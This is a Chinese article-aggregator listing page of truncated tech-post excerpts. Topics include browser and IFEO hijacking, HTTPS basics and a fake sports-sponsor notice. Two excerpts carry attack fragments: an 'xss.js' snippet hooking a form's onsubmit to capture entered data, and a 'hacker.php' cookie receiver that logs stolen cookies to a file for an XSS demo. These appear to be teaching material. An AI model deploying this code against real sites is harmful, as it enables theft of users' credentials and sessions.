大家都知道,在提交form表单时会调用onsubmit方法,既然调用了onsubmit,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息.xss.js:varf=document.forms[‘from1‘];
if(f==undefined)
{
f=document.getElementById(‘‘);
}
varfunc=f.onsub..
分类：
其他好文 时间：
2017-04-11 01:38:14
阅读次数：
257
昨天我的电脑上所有的浏览器的主页都被篡改为hao123.com，今天大半天的尝试，才最终将问题搞定，现将我的处理方式记录一下，这个方法绝对有效。 针对火狐浏览器 第一步：打开火狐浏览器，点击“帮助”（或者直接按快捷键alt+h），点击“故障排除信息”； 第二步：点击新窗口中的“应用程序概要”中的“打 ...
分类：
其他好文 时间：
2017-04-07 15:42:47
阅读次数：
155
“映像劫持”，也被称为“IFEO”（Image File Execution Options） 映像劫持的根本就是被恶意篡改了注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ...
分类：
其他好文 时间：
2017-04-04 21:42:36
阅读次数：
148
意甲官网在中国地区被假网劫持,竟声称赞助？ 请广大意甲球迷朋友小心辨别 谨防上当受骗 最近在各种不知名的二三流个人文章网站上通过广大球迷朋友对意甲联赛的热爱引起人们的关注的一篇假新闻——吉祥坊-WellBET是意甲官方赞助商，在大家的印象里对于国际的体育赛事的中国赞助商不外乎是阿里巴巴、腾讯、华为、 ...
分类：
其他好文 时间：
2017-04-01 09:43:56
阅读次数：
189
1.简介 BHO 全名: Browser Helper Object 即浏览器辅助对象 它是微软推出的作为浏览器对第3方程序开发的交互接口的标准. 通过这个接口就可以编写代码来拓展浏览器, 获取浏览器行为等. 因此同样给了恶意代码的可乘之机. 恶意代码可以通过注册插件等手段来对浏览器进行劫持. 借助 ...
分类：
其他好文 时间：
2017-03-27 23:01:19
阅读次数：
238
目前JAVA可以说是产业界和学术界最热门的语言，许多人都很急切想把JAVA学好。 但学习是需要步骤的，除非像电影中演的那样，能够把需要的专业技巧下载到脑海：主角只花了几秒下载资料，就马上具备飞行员的技巧，或是武侠小说中的运功传送内力的方式，否则花上一段时间苦学是少不了的。花时间，不打紧，就怕方法错... ...
分类：
编程语言 时间：
2017-03-24 14:15:49
阅读次数：
484
最近在开发一个视频站点，若开启迅雷，打开视频播放也 迅雷会劫持视频源，然后弹下载框，导致无法正常播放~~很恶心，很流氓 最简单的解决办法： 客户端，关掉迅雷，或者设置取消监听该浏览器，或者取消监听该域名下的所有内容 当然，作为开发者，肯定无法让每一个用户都这样处理，而已体验很差~~ 看看能不能从自身 ...
分类：
Web程序 时间：
2017-03-23 22:02:07
阅读次数：
154
一。基础知识 1.https 防欺骗，互相为互相想联系的主体。 防篡改，原始数据改动后可感知。 防嗅探，数据内容对外不可知。 防重放，防劫持类的重放攻击，数据发过一次后再发会出现错误。（见：http://cnodejs.org/topic/557c354d16839d2d539362b6） 2.ss ...
分类：
移动开发 时间：
2017-03-21 19:15:18
阅读次数：
491
一、跨站获取cookie1，hacker端（hacker.php）的程序如下：<?php$cookie=$_GET[‘cookie‘];$file=fopen("cookie.txt","a");fwrite($file,$cookie);fclose($file)?>2，受害者端（victim.php）的程序如下：<html><head><title>xss跨站原理复现</title&..
分类：
其他好文 时间：
2017-03-10 11:18:31
阅读次数：
250
